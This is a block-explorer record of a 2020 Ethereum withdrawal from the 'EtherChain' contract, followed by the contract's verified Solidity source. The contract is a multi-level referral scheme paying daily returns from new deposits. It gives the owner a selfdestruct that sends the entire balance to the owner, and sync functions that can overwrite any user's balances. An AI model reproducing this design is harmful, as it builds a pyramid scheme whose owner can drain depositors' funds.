Transaction Hash:
Block:
10489087 at Jul-19-2020 09:20:29 AM +UTC
Transaction Fee:
0.007628529 ETH
$20.14
Gas Used:
149,579 Gas / 51 Gwei
Emitted Events:
135 |
Sync.MatchPayout( addr=0x2Ce61919...26D4c6863, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=96000000000000000 )
|
136 |
Sync.MatchPayout( addr=0x7A976FAa...47F083D0E, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=32000000000000000 )
|
137 |
Sync.MatchPayout( addr=0xE9Fb89D3...9069Fe292, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=32000000000000000 )
|
138 |
Sync.MatchPayout( addr=0x15F46A34...0350BB7D7, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=32000000000000000 )
|
139 |
Sync.MatchPayout( addr=0x554e77d4...DcBC9FE03, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=32000000000000000 )
|
140 |
Sync.MatchPayout( addr=0xfBDe41c7...2dAd5E9CC, from=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=25600000000000000 )
|
141 |
Sync.Withdraw( addr=[Sender] 0x665a438950b33da59e93bb3e31cc87d8f8a14c2b, amount=320000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x5A0b54D5...D3E029c4c
Miner
| (Spark Pool) | 73.616387189460810239 Eth | 73.624015718460810239 Eth | 0.007628529 | |
0x665A4389...8F8A14c2B |
0.536199186 Eth
Nonce: 3
|
0.848570657 Eth
Nonce: 4
| 0.312371471 | ||
0xFa85069E...6b1E4430A | 12,793.477734381106134026 Eth | 12,793.157734381106134026 Eth | 0.32 |
Execution Trace
Sync.CALL( )
Sync.payoutOf( _addr=0x665A438950B33DA59e93bb3e31cc87d8F8A14c2B ) => ( payout=320000000000000000, max_payout=6200000000000000000 )
-
Sync.maxPayoutOf( _amount=2000000000000000000 ) => ( 6200000000000000000 )
-
- ETH 0.32
0x665a438950b33da59e93bb3e31cc87d8f8a14c2b.CALL( )
/*! ether.chain3.sol | (c) 2020 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | SPDX-License-Identifier: MIT License */ pragma solidity 0.6.8; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract Destructible { address payable public grand_owner; event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner); constructor() public { grand_owner = msg.sender; } function transferGrandOwnership(address payable _to) external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); grand_owner = _to; } function destruct() external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); selfdestruct(grand_owner); } } contract EtherChain is Ownable, Destructible, Pausable { struct User { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 direct_bonus; uint256 pool_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } mapping(address => User) public users; uint256[] public cycles; // ether uint8[] public ref_bonuses; // 1 => 1% uint8[] public pool_bonuses; // 1 => 1% uint40 public pool_last_draw = uint40(block.timestamp); uint256 public pool_cycle; uint256 public pool_balance; mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum; mapping(uint8 => address) public pool_top; uint256 public total_withdraw; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event DirectPayout(address indexed addr, address indexed from, uint256 amount); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event PoolPayout(address indexed addr, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); constructor() public { ref_bonuses.push(30); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); pool_bonuses.push(40); pool_bonuses.push(30); pool_bonuses.push(20); pool_bonuses.push(10); cycles.push(10 ether); cycles.push(30 ether); cycles.push(90 ether); cycles.push(200 ether); } receive() payable external whenNotPaused { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_upline == address(0)) break; users[_upline].total_structure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner(), "No upline"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount"); } else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount"); users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; emit NewDeposit(_addr, _amount); if(users[_addr].upline != address(0)) { users[users[_addr].upline].direct_bonus += _amount / 10; emit DirectPayout(users[_addr].upline, _addr, _amount / 10); } _pollDeposits(_addr, _amount); if(pool_last_draw + 1 days < block.timestamp) { _drawPool(); } payable(owner()).transfer(_amount / 100); } function _pollDeposits(address _addr, uint256 _amount) private { pool_balance += _amount / 20; address upline = users[_addr].upline; if(upline == address(0)) return; pool_users_refs_deposits_sum[pool_cycle][upline] += _amount; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == upline) break; if(pool_top[i] == address(0)) { pool_top[i] = upline; break; } if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) { for(uint8 j = i + 1; j < pool_bonuses.length; j++) { if(pool_top[j] == upline) { for(uint8 k = j; k <= pool_bonuses.length; k++) { pool_top[k] = pool_top[k + 1]; } break; } } for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) { pool_top[j] = pool_top[j - 1]; } pool_top[i] = upline; break; } } } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].referrals >= i + 1) { uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function _drawPool() private { pool_last_draw = uint40(block.timestamp); pool_cycle++; uint256 draw_amount = pool_balance / 10; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; uint256 win = draw_amount * pool_bonuses[i] / 100; users[pool_top[i]].pool_bonus += win; pool_balance -= win; emit PoolPayout(pool_top[i], win); } for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = address(0); } } function deposit(address _upline) payable external whenNotPaused { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external whenNotPaused { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; _refPayout(msg.sender, to_payout); } // Direct payout if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) { uint256 direct_bonus = users[msg.sender].direct_bonus; if(users[msg.sender].payouts + direct_bonus > max_payout) { direct_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].direct_bonus -= direct_bonus; users[msg.sender].payouts += direct_bonus; to_payout += direct_bonus; } // Pool payout if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) { uint256 pool_bonus = users[msg.sender].pool_bonus; if(users[msg.sender].payouts + pool_bonus > max_payout) { pool_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].pool_bonus -= pool_bonus; users[msg.sender].payouts += pool_bonus; to_payout += pool_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += to_payout; total_withdraw += to_payout; payable(msg.sender).transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function drawPool() external onlyOwner { _drawPool(); } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function maxPayoutOf(uint256 _amount) pure external returns(uint256) { return _amount * 31 / 10; } function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } } /* Only external call */ function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus); } function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) { return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]); } function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) { for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; addrs[i] = pool_top[i]; deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]; } } } contract Sync is EtherChain { bool public sync_close = false; function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner { require(!sync_close, "Sync already close"); for(uint256 i = 0; i < _users.length; i++) { address addr = _users[i]; uint256 q = i * 12; //require(users[_uplines[i]].total_deposits > 0, "No upline"); if(users[addr].total_deposits == 0) { emit Upline(addr, _uplines[i]); } users[addr].cycle = _data[q]; users[addr].upline = _uplines[i]; users[addr].referrals = _data[q + 1]; users[addr].payouts = _data[q + 2]; users[addr].direct_bonus = _data[q + 3]; users[addr].pool_bonus = _data[q + 4]; users[addr].match_bonus = _data[q + 5]; users[addr].deposit_amount = _data[q + 6]; users[addr].deposit_payouts = _data[q + 7]; users[addr].deposit_time = uint40(_data[q + 8]); users[addr].total_deposits = _data[q + 9]; users[addr].total_payouts = _data[q + 10]; users[addr].total_structure = _data[q + 11]; } } function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner { require(!sync_close, "Sync already close"); pool_last_draw = _pool_last_draw; pool_cycle = _pool_cycle; pool_balance = _pool_balance; total_withdraw = _total_withdraw; for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = _pool_top[i]; } } function syncUp() external payable {} function syncClose() external onlyOwner { require(!sync_close, "Sync already close"); sync_close = true; } }